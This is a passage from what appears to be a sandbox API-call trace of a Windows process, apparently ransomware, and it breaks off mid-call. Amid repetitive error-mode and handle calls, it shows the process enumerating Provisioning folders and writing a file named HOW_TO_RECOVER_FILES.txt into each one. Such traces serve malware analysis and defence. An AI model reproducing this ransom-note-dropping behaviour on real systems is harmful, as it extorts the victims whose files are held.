[0144.215] CloseHandle (hObject=0x650) returned 1 [0144.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.218] CloseHandle (hObject=0x650) returned 1 [0144.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.223] CloseHandle (hObject=0x650) returned 1 [0144.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.224] CloseHandle (hObject=0x650) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.226] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.338] CloseHandle (hObject=0x650) returned 1 [0144.884] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0144.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.886] CloseHandle (hObject=0x808) returned 1 [0144.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.888] CloseHandle (hObject=0x808) returned 1 [0144.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.890] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.891] CloseHandle (hObject=0x808) returned 1 [0144.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.893] CloseHandle (hObject=0x808) returned 1 [0144.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.895] CloseHandle (hObject=0x808) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.896] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.898] CloseHandle (hObject=0x808) returned 1 [0144.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.900] CloseHandle (hObject=0x808) returned 1 [0144.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.901] CloseHandle (hObject=0x808) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.268] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0145.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0145.268] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0145.269] GetFileType (hFile=0x808) returned 0x1 [0145.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0145.269] GetFileType (hFile=0x808) returned 0x1 [0145.270] WriteFile (in: hFile=0x808, lpBuffer=0x3730440*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3730440*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0145.270] CloseHandle (hObject=0x808) returned 1 [0145.271] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0145.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0145.271] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0145.272] GetFileType (hFile=0x808) returned 0x1 [0145.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0145.272] GetFileType (hFile=0x808) returned 0x1 [0145.272] WriteFile (in: hFile=0x808, lpBuffer=0x3733d48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3733d48*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.273] CloseHandle (hObject=0x808) returned 1 [0145.273] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x69 [0145.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0145.273] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0145.274] GetFileType (hFile=0x808) returned 0x1 [0145.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0145.274] GetFileType (hFile=0x808) returned 0x1 [0145.274] WriteFile (in: hFile=0x808, lpBuffer=0x3737640*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3737640*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.275] CloseHandle (hObject=0x808) returned 1 [0145.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.275] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}", lpFilePart=0x0) returned 0x50 [0145.275] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x47613420, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x486e9efa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0145.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0145.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0145.279] CloseHandle (hObject=0x808) returned 1 [0145.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0145.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0145.297] CloseHandle (hObject=0x808) returned 1 [0145.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0145.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0145.298] CloseHandle (hObject=0x808) returned 1 [0145.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0145.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0145.301] CloseHandle (hObject=0x808) returned 1 [0145.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0145.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0145.303] CloseHandle (hObject=0x808) returned 1 [0145.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0145.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0145.305] CloseHandle (hObject=0x808) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0145.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0145.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0145.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0145.534] CloseHandle (hObject=0x7f8) returned 1 [0145.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0145.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0145.536] CloseHandle (hObject=0x7f8) returned 1 [0145.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0145.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0145.537] CloseHandle (hObject=0x7f8) returned 1 [0145.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0145.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0145.539] CloseHandle (hObject=0x7f8) returned 1 [0145.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0145.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0145.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0145.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0145.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0145.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0145.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0145.542] CloseHandle (hObject=0x7f8) returned 1 [0145.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0145.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.543] SetThreadErrorMode (dwNewMode=0x1, 